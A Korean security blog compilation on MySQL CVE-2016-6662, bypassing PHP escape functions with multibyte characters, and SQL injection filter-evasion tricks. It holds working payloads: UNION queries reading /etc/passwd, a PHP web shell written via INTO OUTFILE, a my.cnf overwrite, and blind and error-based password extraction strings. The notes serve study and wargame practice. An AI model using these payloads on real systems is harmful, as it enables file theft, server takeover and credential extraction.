참고 URL


개요

- MySQL에서 원격에서 루트 권한으로 코드를 실행하거나 원격 시스템 파일을 다운로드할 수 있는 취약점(CVE-2016-6662)
- MySQL 기본 설치로 사용하는 로깅 기능을 악용해 MySQL 설정 파일(my.cnf)에 악의적인 설정을 주입하여 원격 및 권한 상승(루트 권한) 공격이 가능한 취약점
- SQL Injection 취약점과 함께 사용할 경우 MySQL 서버를 손상시킬 수 있음
- DB서버가 재부팅되는 경우부터 적용

※ 취약한 버전


※ 공격 구문

  • Load_file() 함수 이용
    • select * from member  union select null, null, null, null, load_file('/etc/passwd');
    • select * from member  union select null, null, null, null, load_file(0x2f6574632f7061737764);
    • select * from member  union select null, null, null, null, load_file(char(47,101,116,99,47,112,97,115,115,119,100));

  • 웹쉘만들기
    • select * from member  union select null, null, null, null, "<? system($_REQUEST['cmd']); ?>" into outfile '/var/www/html/cmd.php';
                                -> mysql 사용자가 /var/www/html디렉터리에 접근권한이 없어 생성 불가

  • 설정파일 덮어쓰기(into outfile)
    • select * into outfile '/etc/my.cnf';


참고 URL

  • http://www.securiteam.com/unixfocus/6X00P0ANFM.html
  • http://pjongy.tistory.com/131
  • http://rootable.tistory.com/entry/addslashes-mysqlrealescapestring-%EC%9A%B0%ED%9A%8C

개요

magic_quotes_gpc 란? 

- php에서 사용되는 설정값으로 값을 입력 받을 때 필터링이 필요한 문자 앞에 백슬래시(\)를 붙임
- 기본적으로 php.ini 파일에 ON으로 설정되어 있음
- GET, POST, COOKIE 데이터 내 해당 문자가 있을 경우 필터링하여 반환함.
addslashes()와 동일 

' (싱글쿼터)
\'
" (더블쿼터)
\"
\ (백슬래시)
\\
NULL (널바이트)
\

mysql_real_escape_string() 란?

- php 내장 함수로 SQL Injection을 방어하기 위해 사용됨
- DB로 전달되는 파라미터에 필터링이 필요한 문자가 입력된 경우 이스케이프 문자(백슬래시, \)를 붙여 공격을 방어
- 위의 magic_quotes_gpc와 비슷하지만 더 많은 문자열 치환

' (싱글쿼터)
\'
" (더블쿼터)
\"
\ (백슬래시)
\\
\x00 (널바이트)
\\x00
\n (line feed )
\\n
\r (carriage return)
\r
\x1a (EOF)
\\x1a


우회

원리
  • 멀티바이트를 사용하는 언어셋 환경에서는 백슬래시(\) 앞에 %a1 ~ %fe 와 같은 값을 입력하면 %a1\를 하나의 문자로 취급함
  • 따라서, 백슬래시(\)가 사라지므로 이스케이프 처리가 되지 않아 공격자의 의도대로 SQL Injection 등의 공격이 가능해짐

예 시
입력값
magic_quotes_gpc / mysql_real_escape_string()
결과값
%aa' or 1=1#
%aa\' or 1=1#
�' or 1=1#


** 이 포스팅은 추후에 필터링 패턴 발견 시 계속 추가할 예정임

1. substr 우회
   ord, right, left, mid 사용
   (ex) substr('admin',1,1) = 'a'   → left('admin',1) 

2. ascii 우회
   ord, hex 사용
   (ex) ord('admin')=97    ord()는 가장 왼쪽의 문자를 아스키코드 10진수로 전환    

3. =, like, or, and 우회
  =    like, between, in, instr 
 !=  →  <>
  or    ||  (%7c%7c)
  and    && (%26%26)

4. 빈칸(공백) 우회
  ' '    ( ), /**/, %09, %0a, %0b, %0c, %0d, %a0, +, %20, 
  주석(-- -, #)    ;%00

5. ' (싱글쿼터) 우회
  '     %27, char, " (더블쿼터)

6. ereg, eregi 우회  : case-sensitive
  - 특수문자  %00(널바이트) : %00(널바이트)까지 패턴 검색
  - 문자열  대소문자 변경

7. preg_match 우회
 \ 

TIP

  • 영어가 아닌 문자 Blind-Injection 시, 한글자 당 바이트 추출: length(mid(pw,1,1))=4
  • error based SQL Injection
    •  ' or id='admin' and if((select id='admin' and length(pw)=16),true,(select 1 union select 2))#
    •  ' or id='admin'&&power((length(pw)>10)+1,999999999999999999)#

참조 URL

  • 여러 우회패턴 정리 : http://blog.daum.net/bada0217/149
  • 워게임 사이트 - 여러 우회패턴을 익히는데 유용 : http://los.eagle-jump.org


+ Recent posts